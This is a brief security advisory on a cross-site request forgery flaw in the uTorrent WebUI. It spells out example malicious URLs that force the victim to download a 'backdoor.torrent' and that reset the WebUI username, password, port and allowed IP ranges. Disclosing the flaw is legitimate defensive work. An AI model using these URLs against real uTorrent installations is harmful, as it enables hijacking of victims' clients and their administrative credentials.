uTorrent WebUI Cross-Site Request-Forgery Vulnerability
uTorrent WebUI is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application. To force a file download, an attacker can send a malicious URL to the victim, such as http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent. To change administrative credentials and settings, an attacker can send malicious URLs such as http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin, http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin, http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096, and http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1/24.
